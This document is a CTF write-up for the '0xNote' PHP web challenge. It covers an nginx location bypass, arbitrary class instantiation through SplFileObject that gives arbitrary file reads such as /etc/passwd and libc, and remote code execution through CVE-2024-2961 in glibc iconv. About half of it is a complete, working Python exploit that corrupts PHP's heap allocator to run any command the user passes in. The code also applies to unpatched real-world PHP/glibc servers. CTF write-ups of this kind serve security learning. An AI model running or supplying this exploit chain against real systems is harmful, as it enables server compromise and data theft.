0xNote CTF Challenge Writeup

0x5t
0x5t avatar
Security Researcher
Team: RaptX
Posts: --
Joined: 2024
Posted:  |  Tags: CTF, Web Exploitation, PHP, RCE, CVE-2024-2961

Challenge Overview

Field Value
Challenge Name 0xNote
Category Web Exploitation
Difficulty Hard
Flag 0xL4ugh{1think_y0u_l0ved_my_pHp_n0te_e1bfd312v_06f8495f4e909490}

A PHP-based note-taking application with a "premium" color customization feature protected by nginx. The goal is to achieve Remote Code Execution and execute the SUID /readflag binary to retrieve the flag from /flag.txt.


Architecture

┌─────────────────────────────────────────────────────────────────────────┐
│                           DOCKER ENVIRONMENT                            │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│   ┌───────────┐         ┌───────────────┐         ┌─────────────────┐   │
│   │  Client   │ ──:80── │    Nginx      │ ──:9000─│    PHP-FPM      │   │
│   │           │         │    Proxy      │         │   (PHP 8.3.2)   │   │
│   └───────────┘         └───────────────┘         └─────────────────┘   │
│                                │                          │             │
│                         nginx.conf:                /var/www/html/:      │
│                         ┌─────────────┐           ┌─────────────────┐   │
│                         │location = / │           │ index.php       │   │
│                         │  premium.php│           │ login.php       │   │
│                         │{ deny all; }│           │ premium.php     │   │
│                         └─────────────┘           │ views/          │   │
│                                                   │   index.html    │   │
│                                                   └─────────────────┘   │
│                                                                         │
│   ┌─────────────────────────────────────────────────────────────────┐   │
│   │  /flag.txt (0700, root:root) ──► /readflag (SUID binary)        │   │
│   └─────────────────────────────────────────────────────────────────┘   │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

Key Components

  • Nginx Proxy: Reverse proxy with access control rules
  • PHP-FPM 8.3.2: PHP FastCGI Process Manager with cgi.fix_pathinfo=1
  • glibc 2.36: Vulnerable to CVE-2024-2961

Vulnerability Analysis

Vulnerability 1: Nginx Location Bypass via PATH_INFO

File: proxy/nginx.conf

location = /premium.php {
    deny all;
}

The Problem: The = modifier creates an exact match rule. It only blocks requests to exactly /premium.php.

The Bypass: PHP-FPM with cgi.fix_pathinfo=1 interprets /premium.php/anything as:

  • SCRIPT_FILENAME: /var/www/html/premium.php
  • PATH_INFO: /anything
GET /premium.php        → 403 Forbidden (blocked by nginx)
GET /premium.php/x.php  → 200 OK (nginx forwards to PHP-FPM)

Vulnerability 2: Arbitrary Class Instantiation (No Validation)

File: php-fpm/src/premium.php:14-20

<?php
// Lines 14-18: Only checks
if (
    empty($_POST['color']) || is_array($_POST['color'])
) {
    die("Color are required !");
}

// Line 20: DIRECT ASSIGNMENT - NO VALIDATION
$_SESSION['color'] = $_POST['color'];

Validation Analysis

Check Purpose Bypassable?
empty($_POST['color']) Must not be empty No – just provide a value
is_array($_POST['color']) Must be string No – send string
Allowlist NONE N/A – doesn't exist

The UI presents color chips (Black, Red, Green, Blue) via JavaScript, but this is purely cosmetic. The server accepts ANY string value.

Sink: php-fpm/src/views/index.html:207

<?= new $_SESSION["color"]($_SESSION["note"]) ?>

This line instantiates any class with the note content as the constructor argument:

  • $_SESSION["color"] = Class name (attacker-controlled)
  • $_SESSION["note"] = Constructor argument (attacker-controlled)

Proof of Concept

# The server accepts ANY value for color - no allowlist exists
curl -X POST "http://target/premium.php/x.php" \
     -b "PHPSESSID=xxx" \
     -d "color=SplFileObject"

# Verify it was stored
curl -X POST "http://target/index.php" \
     -b "PHPSESSID=xxx" \
     -d "note=/etc/passwd"

# Trigger instantiation: new SplFileObject("/etc/passwd")
curl "http://target/index.php" -b "PHPSESSID=xxx"
# Returns contents of /etc/passwd

Vulnerability 3: Arbitrary File Read via SplFileObject

PHP's built-in SplFileObject class opens files in its constructor:

new SplFileObject("/etc/passwd");           // Opens file
new SplFileObject("php://filter/...");      // Supports stream wrappers

Combined with php://filter, we can read and encode any file:

new SplFileObject("php://filter/convert.base64-encode/resource=/etc/passwd")

Readable Files

File Purpose
/etc/passwd Confirm file read
/proc/self/maps Memory layout (heap, libc addresses)
/usr/lib/x86_64-linux-gnu/libc.so.6 Libc binary for symbol resolution
/flag.txt ❌ Permission denied (0700 root:root)

Vulnerability 4: CVE-2024-2961 (CNEXT) – iconv Heap Buffer Overflow

Affected: glibc < 2.39

Since we can't read the flag directly (root-owned, 0700), we need RCE. The file read primitive combined with PHP filters enables exploitation of CVE-2024-2961.

The Root Cause

The vulnerability exists in glibc's iconv() function when converting to the ISO-2022-CN-EXT charset. This charset uses escape sequences to switch between character sets:

ESC $ ) A    → Switch to GB2312 (Chinese Simplified)
ESC $ ) G    → Switch to CNS 11643 plane 1
ESC $ * H    → Switch to CNS 11643 plane 2

When encoding certain characters, iconv() must output:

  1. An escape sequence to switch character sets (4 bytes)
  2. The encoded character itself (2 bytes)

The Bug: The internal buffer size calculation assumes a maximum of 2 output bytes per input character, but the escape sequence + character can require up to 8 bytes. The character 劄 (U+5284) triggers this case, causing a 1-4 byte heap buffer overflow.

// Simplified vulnerable code path in glibc
if (ch == 0x5284) {  // 劄
    // Needs: ESC $ * H (4 bytes) + encoded char (2 bytes) = 6 bytes
    // But buffer only has 2 bytes remaining!
    *outptr++ = ESC; *outptr++ = '$'; *outptr++ = '*'; *outptr++ = 'H';
    *outptr++ = high_byte;
    *outptr++ = low_byte;  // OVERFLOW!
}

Why PHP is the Perfect Target

PHP's php://filter wrapper allows chaining arbitrary stream filters:

php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=data:,劄

This triggers iconv() in a context where:

  1. The heap is predictable – PHP uses zend_mm, a custom allocator with deterministic chunk layouts
  2. We control input size – Filter chains let us precisely control allocation sizes
  3. We can spray the heap – Multiple filter applications create controlled chunk patterns
  4. We can read memory – File read primitive leaks /proc/self/maps and libc

PHP Heap Internals

PHP's zend_mm allocator maintains freelists for different chunk sizes:

zend_mm_heap (at heap base + 0x40)
┌────────────────────────────────────────────────────────────┐
│ +0x000: size                                               │
│ +0x008: peak                                               │
│ +0x010: ...                                                │
│ +0x020: free_slot[0]  ────────────► First free 0x08 chunk  │
│ +0x028: free_slot[1]  ────────────► First free 0x10 chunk  │
│ +0x030: free_slot[2]  ────────────► First free 0x18 chunk  │
│ ...                                                        │
│ +0x168: custom_heap._malloc  ──► __libc_malloc             │
│ +0x170: custom_heap._free    ──► __libc_free               │
│ +0x178: custom_heap._realloc ──► __libc_realloc            │
│ +0x180: use_custom_heap      ──► 0 (disabled)              │
└────────────────────────────────────────────────────────────┘

When use_custom_heap = 1, PHP calls the function pointers instead of its internal allocator. The exploit overwrites:

custom_heap._free = __libc_system
use_custom_heap = 1

Now when PHP calls efree(chunk), it actually calls system(chunk_data).

The Exploitation Steps

┌─────────────────────────────────────────────────────────────────────────┐
│                         EXPLOITATION CHAIN                               │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  1. HEAP SPRAY                                                           │
│     Allocate many 0x100-byte chunks to create predictable layout         │
│     [chunk][chunk][chunk][chunk][chunk][chunk]...                        │
│                                                                          │
│  2. CREATE HOLES                                                         │
│     Free specific chunks to populate freelist                            │
│     [chunk][FREE ][chunk][FREE ][chunk][FREE ]...                        │
│            ↓            ↓            ↓                                   │
│     free_slot[N] → hole1 → hole2 → hole3 → NULL                          │
│                                                                          │
│  3. PLANT FAKE POINTER                                                   │
│     Place pointer to free_slot array in a chunk                          │
│     [chunk][FREE ][FAKE_PTR][FREE ][chunk]...                            │
│                   ↓                                                      │
│            &free_slot[0] - 0x10                                          │
│                                                                          │
│  4. TRIGGER OVERFLOW                                                     │
│     iconv(劄) overwrites next chunk's freelist pointer                   │
│     [chunk][CORRUPTED ][...][...]                                        │
│            ↓                                                             │
│     free_slot[N] now points to our fake pointer                          │
│                                                                          │
│  5. ALLOCATE TO ARBITRARY ADDRESS                                        │
│     Next allocation returns &free_slot - unlinks fake pointer            │
│     free_slot[N] now points to zend_mm_heap.free_slot[0]!                │
│                                                                          │
│  6. OVERWRITE CUSTOM_HEAP                                                │
│     Allocation at free_slot lets us write to custom_heap structure       │
│     custom_heap._free = &system                                          │
│     use_custom_heap = 1                                                  │
│                                                                          │
│  7. TRIGGER SYSTEM()                                                     │
│     Any efree() now calls system() with chunk data as argument           │
│     efree("(/readflag > /tmp/flag) &") → system("(/readflag...)&")       │
│                                                                          │
└─────────────────────────────────────────────────────────────────────────┘

Prerequisites

Requirement Target Status
glibc version < 2.39 ✅ glibc 2.36
File read primitive ✅ SplFileObject
php://filter wrappers ✅ Enabled
zlib extension ✅ Enabled
/proc/self/maps readable ✅ Yes

Exploitation

Step 1: Information Gathering

Read /proc/self/maps to get memory layout:

7ff42d200000-7ff42d400000 rw-p 00000000 00:00 0    [anon:zend_alloc]
7ff4301c8000-7ff4301eb000 r--p 00000000 08:20 525  /usr/lib/x86_64-linux-gnu/libc.so.6

Extracted:

  • Heap address: 0x7ff42d200040 (base + 0x40 for zend_mm_heap)
  • Libc base: 0x7ff4301c8000

Step 2: Download and Analyze Libc

Download libc via SplFileObject and find system() offset:

libc = ELF('/tmp/target_libc.so')
system_offset = libc.symbols['system']  # 0x4c490

Step 3: Execute Exploit

The exploit builds a php://filter chain that performs the heap manipulation:

php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.L1.L1|
dechunk|convert.iconv.L1.L1|dechunk|convert.iconv.L1.L1|dechunk|
convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|
convert.iconv.L1.L1/resource=data:text/plain;base64,<payload>

Each filter application allocates/frees chunks in a controlled pattern, with the ISO-2022-CN-EXT conversion triggering the overflow at the critical moment.

Step 4: Read Flag

Use the file read primitive to retrieve the flag:

curl -X POST "http://target/index.php" \
     -d "note=/tmp/sess_flag1" \
     -b "PHPSESSID=xxx"

Complete Exploit Code

#!/usr/bin/env python3
"""
CNEXT exploit for 0xNote CTF Challenge
Exploits: Nginx bypass + Arbitrary class instantiation + CVE-2024-2961

Author: Security Researcher
Target: 0xNote PHP Application
"""

import sys
import os
import base64 as b64module
import re
import zlib
import time
from pathlib import Path
from dataclasses import dataclass

import requests
from requests import Response, Session
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *

context.log_level = 'info'

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")  # CVE-2024-2961 trigger character


# ============================================================================
# HELPER FUNCTIONS (from Ambionics CNEXT exploit)
# ============================================================================

def compress(data) -> bytes:
    """Returns data suitable for zlib.inflate (strip header/checksum)."""
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    """Base64 encode data."""
    return b64module.b64encode(data)


def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode."""
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk containing pointers that survives all filter steps."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)
    return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk."""
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
    """Represents a memory region from /proc/self/maps."""
    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start


# ============================================================================
# REMOTE CLASS - Handles communication with 0xNote application
# ============================================================================

class Remote:
    """Remote class for 0xNote class instantiation vulnerability."""

    def __init__(self, url: str) -> None:
        self.url = url.rstrip('/')
        self.session = Session()

    def set_session(self, session_id: str) -> None:
        """Set PHP session ID cookie."""
        self.session.cookies.set('PHPSESSID', session_id)

    def login(self, username: str = "test", password: str = "test") -> bool:
        """Log in to create a valid session."""
        self.session.get(f"{self.url}/")
        r = self.session.post(f"{self.url}/login.php", data={
            "username": username,
            "password": password
        })
        return "index.php" in r.url or r.status_code == 200

    def send(self, path: str) -> Response:
        """Send a php://filter path via class instantiation."""
        # Step 1: Bypass nginx and set class
        self.session.post(
            f"{self.url}/premium.php/x.php",
            data={"color": "SplFileObject"}
        )
        # Step 2: Set note to filter path
        self.session.post(
            f"{self.url}/index.php",
            data={"note": path}
        )
        # Step 3: Trigger instantiation
        return self.session.get(f"{self.url}/index.php")

    def download(self, path: str) -> bytes:
        """Download a file via base64-encoded filter chain."""
        filter_path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(filter_path)

        patterns = [
            rb'id="noteContent"[^>]*>\s*([A-Za-z0-9+/=\s]+?)\s*</div>',
            rb'note-content"[^>]*>\s*([A-Za-z0-9+/=\s]+?)\s*</div>',
        ]

        for pattern in patterns:
            match = re.search(pattern, response.content, re.DOTALL)
            if match:
                try:
                    b64_data = match.group(1).strip()
                    b64_data = re.sub(rb'\s+', b'', b64_data)
                    return b64module.b64decode(b64_data)
                except Exception:
                    continue
        return b""


# ============================================================================
# EXPLOIT CLASS - CVE-2024-2961 (CNEXT) Implementation
# ============================================================================

class Exploit:
    """CNEXT exploit for 0xNote."""

    def __init__(self, url: str, session_id: str, command: str,
                 heap: int = None, pad: int = 20):
        self.remote = Remote(url)
        self.remote.set_session(session_id)
        self.command = command
        self.heap = heap
        self.pad = pad
        self.info = {}

    def get_file(self, path: str) -> bytes:
        """Download a file from the target."""
        log.info(f"Downloading {path}...")
        return self.remote.download(path)

    def get_regions(self) -> list:
        """Parse /proc/self/maps to get memory regions."""
        maps = self.get_file("/proc/self/maps").decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.*)"
        )
        regions = []

        for line in maps.strip().split('\n'):
            if match := PATTERN.match(line):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4).strip()
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                regions.append(Region(start, stop, permissions, path))

        log.info(f"Got {len(regions)} memory regions")
        return regions

    def find_main_heap(self, regions: list) -> int:
        """Find PHP's main heap address from memory regions."""
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE - 1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]

        if not heaps:
            log.error("Unable to find PHP's main heap in memory")
            return None

        first = heaps[0]
        if len(heaps) > 1:
            log.info(f"Potential heaps: {[hex(h) for h in heaps]} (using first)")
        else:
            log.info(f"Using {hex(first)} as heap")

        return first

    def get_symbols_and_addresses(self) -> bool:
        """Gather heap address and libc symbols."""
        regions = self.get_regions()

        self.info["heap"] = self.heap or self.find_main_heap(regions)
        if not self.info["heap"]:
            return False

        libc_region = None
        for region in regions:
            if ("libc-" in region.path or "libc.so" in region.path) \
                    and region.permissions == "r--p":
                libc_region = region
                break

        if not libc_region:
            log.error("Unable to find libc")
            return False

        log.info(f"Libc at {hex(libc_region.start)}: {libc_region.path}")

        LIBC_FILE = "/tmp/cnext_libc.so"
        libc_data = self.get_file(libc_region.path)
        Path(LIBC_FILE).write_bytes(libc_data)

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc_region.start

        log.success(f"Heap: {hex(self.info['heap'])}")
        log.success(f"Libc base: {hex(libc_region.start)}")
        log.success(f"system() offset: {hex(self.info['libc'].symbols['system'])}")

        return True

    def build_exploit_path(self) -> str:
        """Build the php://filter chain that triggers CVE-2024-2961."""
        LIBC = self.info["libc"]

        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad chunks
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        # Step 1: Reverse freelist
        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Step 2: Place fake pointer
        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        # Step 3: Trigger overflow
        step3_size = CS
        step3 = b"\x00" * step3_size
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        # Step 4: Overwrite zend_mm_heap
        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        step4_pwn = ptr_bucket(
            0x200000, 0, 0, 0, ADDR_CUSTOM_HEAP,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            ADDR_HEAP, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC,
            size=0x18
        )

        step4_use_custom_heap_size = 0x140
        COMMAND = f"({self.command}) &".encode() + b"\x00"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = qpe(COMMAND)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = "|".join([
            "zlib.inflate", "zlib.inflate",
            "dechunk", "convert.iconv.L1.L1",
            "dechunk", "convert.iconv.L1.L1",
            "dechunk", "convert.iconv.L1.L1",
            "dechunk", "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            "convert.quoted-printable-decode", "convert.iconv.L1.L1",
        ])

        return f"php://filter/read={filters}/resource={resource}"

    def exploit(self) -> None:
        """Build and send the exploit payload."""
        log.info("Building exploit payload...")
        path = self.build_exploit_path()
        log.info(f"Payload length: {len(path)}")

        log.info("Triggering exploit...")
        try:
            response = self.remote.send(path)
            log.info(f"Response status: {response.status_code}")
        except (ConnectionError, ChunkedEncodingError) as e:
            log.info(f"Connection error (expected): {e}")

        log.success("Exploit sent!")

    def run(self) -> bool:
        """Execute the full exploit chain."""
        if not self.get_symbols_and_addresses():
            return False
        self.exploit()
        return True


def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <url> [session_id] [command]")
        sys.exit(1)

    url = sys.argv[1]
    session_id = sys.argv[2] if len(sys.argv) > 2 else None
    command = sys.argv[3] if len(sys.argv) > 3 else "/readflag > /tmp/sess_flag"

    log.info(f"Target: {url}")
    log.info(f"Command: {command}")

    exploit = Exploit(url, session_id if session_id else "dummy", command)

    if not session_id:
        log.info("No session ID provided, logging in...")
        if exploit.remote.login():
            log.success("Login successful")
        else:
            log.error("Login failed")
            sys.exit(1)

    exploit.run()


if __name__ == "__main__":
    main()

Output Example

[*] Target: http://challenges4.ctf.sd:34441
[*] Command: /readflag > /tmp/sess_flag1
[*] No session ID provided, logging in...
[+] Login successful
[*] Downloading /proc/self/maps...
[*] Got 273 memory regions
[*] Using 0x7ff42d200040 as heap
[*] Libc at 0x7ff4301c8000: /usr/lib/x86_64-linux-gnu/libc.so.6
[*] Downloading /usr/lib/x86_64-linux-gnu/libc.so.6...
[+] Heap: 0x7ff42d200040
[+] Libc base: 0x7ff4301c8000
[+] system() offset: 0x7ff430214490
[*] Building exploit payload...
[*] Payload length: 1100
[*] Triggering exploit...
[*] Response status: 200
[+] Exploit sent!

Flag: 0xL4ugh{1think_y0u_l0ved_my_pHp_n0te_e1bfd312v_06f8495f4e909490}


Key Takeaways

  1. Nginx location = is exact-match only – Use PATH_INFO to bypass
  2. Always verify server-side validation – UI restrictions mean nothing without backend enforcement
  3. Arbitrary class instantiation → File read – SplFileObject with php://filter
  4. File read + glibc < 2.39 = RCE – CVE-2024-2961 turns LFI into full compromise
  5. PHP heap is deterministic – zend_mm's predictable layout enables reliable exploitation

References

Contents